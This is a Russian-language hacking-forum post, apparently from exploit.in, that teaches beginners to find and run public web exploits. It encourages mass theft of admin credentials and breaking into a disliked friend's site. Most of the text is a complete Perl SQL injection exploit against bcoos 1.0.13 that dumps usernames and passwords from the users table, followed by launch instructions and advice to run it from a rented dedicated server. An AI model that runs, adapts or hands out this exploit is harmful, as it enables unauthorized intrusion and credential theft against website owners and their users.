Данная статья является пособием для новичков, в ней будет рассказано о том, как юзать эксплоиты для веб приложений. Не знаю как сейчас обстоят дела с этой темой, но когда она была интересна мне - я не нашел никакого материала. По сути, запуск эксплойтов вещь очень простая, все происходит по принципу "Нажал на кнопку - получил банан" https://forum.exploit.in/style_emoticons/default/smile.gif Ну а теперь переходим к самой сути, первое что тебе нужно знать, наверное это то, что такое эксплоит. Эксплойт (англ. exploit — использовать) — это общий термин в сообществе компьютерной безопасности для обозначения фрагмента программного кода, который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы. Для чего же они нужны? Эти експлоиты? На самом деле все просто, вот допустим понадобилась тебе пачка админок (хотя бы штук 10) и ты не перерываешь кучу сайтов в поисках иньекци, xss и т.п. А находишь свежий эксплоит, находишь сайты на которых стоит уязвимый скрипт, запускаешь - получаешь пароли! Или ты ломаешь сайт ненавистного друга, на нем стоит популярная CMS c кучей модулей, попробуй-ка найди багу https://forum.exploit.in/style_emoticons/default/smile.gif Проще найти эксплоит и заюзать! Я буду говорить только об удаленных эксплоитах. Это означает то, что вы не должны иметь доступ к компьютеру чтобы воспользоваться эксплоитом. Эксплоиты в большинстве своем пишутся на таких языках как СИ и Perl (но есть и на множестве других, PHP например). Их можно найти на сайтах securitylab.ru(рус.), milw0rm.com(англ.). Как же использовать этих "зверюшек"? На самом деле все очень просто, достаточно скачать нужный тебе эксплоит и запустить с требуемыми параметрами! Давай потренируемся? В виде подопытного кролика будем использовать CMS bcoos версии 1.0.13. Вот код самого эксплоита: Код: #!/usr/bin/perl -w #============================================ # bcoos 1.0.13 Remote SQL Injection Exploit #============================================ # # ,--^----------,--------,-----,-------^--, # | ||||||||| '--------' | O .. CWH Underground Hacking Team .. # '+---------------------------^----------| # '\_,-------, _________________________| # / XXXXXX /'| / # / XXXXXX / '\ / # / XXXXXX /\______( # / XXXXXX / # / XXXXXX / # (________( # '------' # #AUTHOR : CWH Underground #DATE : 1 December 2008 #SITE : cwh.citec.us # # ##################################################### #APPLICATION : bcoos #VERSION : 1.0.13 (Prior versions also maybe affected) #VENDOR : http://www.bcoos.net/ #DOWNLOAD : http://www.bcoos.net/modules/mydownloads/cache/files/bcoos1.0.13.zip ###################################################### # #Note: magic_quotes_gpc = off #Addresses Modules Must be Installed # ################################################################################ ####### #Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK #Special Thx : asylu3, str0ke, citec.us, milw0rm.com ################################################################################ ####### use LWP::UserAgent; use HTTP::Request; if ($#ARGV+1 != 2) { print "\n==============================================\n"; print " Bcoos Remote SQL Injection Exploit \n"; print " \n"; print " Discovered By CWH Underground \n"; print "==============================================\n"; print " \n"; print " ,--^----------,--------,-----,-------^--, \n"; print " | ||||||||| '--------' | O \n"; print " '+---------------------------^----------| \n"; print " '\_,-------, _________________________| \n"; print " / XXXXXX /'| / \n"; print " / XXXXXX / '\ / \n"; print " / XXXXXX /\______( \n"; print " / XXXXXX / \n"; print " / XXXXXX / .. CWH Underground Hacking Team .. \n"; print " (________( \n"; print " '------' \n"; print " \n"; print "Usage : ./xpl.pl <Target> <Data Limit>\n"; print "Example: ./xpl.pl http://www.target.com/bcoos 10\n"; exit(); } $target = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0]: 'http://' . $ARGV[0]; $number = $ARGV[1]; print "\n++++++++++++++++++++++++++++++++++++++++++++++++++++++"; print "\n ..:: SQL Injection Exploit By CWH Underground ::.. "; print "\n++++++++++++++++++++++++++++++++++++++++++++++++++++++\n"; print "\n[+]Dump Username and Password\n"; for ($start=0;$start<$number;$start++) { $xpl = LWP::UserAgent->new() or die "Could not initialize browser\n"; $req = HTTP::Request->new(GET => $target."/modules/adresses/viewcat.php?cid=1%27%20and%201=2%20union%20select%201,concat(0x3a3a3a,uname,0x3a3a,pass,0x3a3a3a)%20from%20bcoos_users%20limit%201%20offset%20".$start."--+and+1=1")or die "Failed to Connect, Try again!\n"; $res = $xpl->request($req); $info = $res->content; $count=$start+1; if ($info =~ /::.+):::/) { $dump=$1; ($username,$password)= split('::',$dump); printf "\n [$count]\n [!]Username = $username \n [!]Password = $password\n"; } else { print "\n [*]Exploit Done !!" or die "\n [*]Exploit Failed !!\n"; exit; } } Все кто знаком с Perl сразу поймут что делает этот код, те-же кто знаком с другими языками, скорее всего догадаются. Если-же ты не знаешь ни одного ЯП, то объясняю что делает этот код. Он запрашивает у тебя параметры (в данном случае URL и таймаут), проходи по линку (добавляя туда собственно говоря саму SQL injection), парсит страничку на наличие логина/пароля администратора и выдает тебе! Это все! Как видишь ничего сложного! Также как и с другими эксплоитами. А вот для запуска, тебе необходим интерпретатор Perl (лучше конечно использовать дедик, где установлены множество компиляторов/интерпретаторов, ведь эксплоиты могу быть написаны на разных языках, а ставить к себе на машину весь этот "груз" не самый замечательный вариант!). Запускается эксплоит очень легко! Код: perl exploit_name.pl url timeout Вот и все! У тебя на руках пароль https://forum.exploit.in/style_emoticons/default/smile.gif ©$p01nt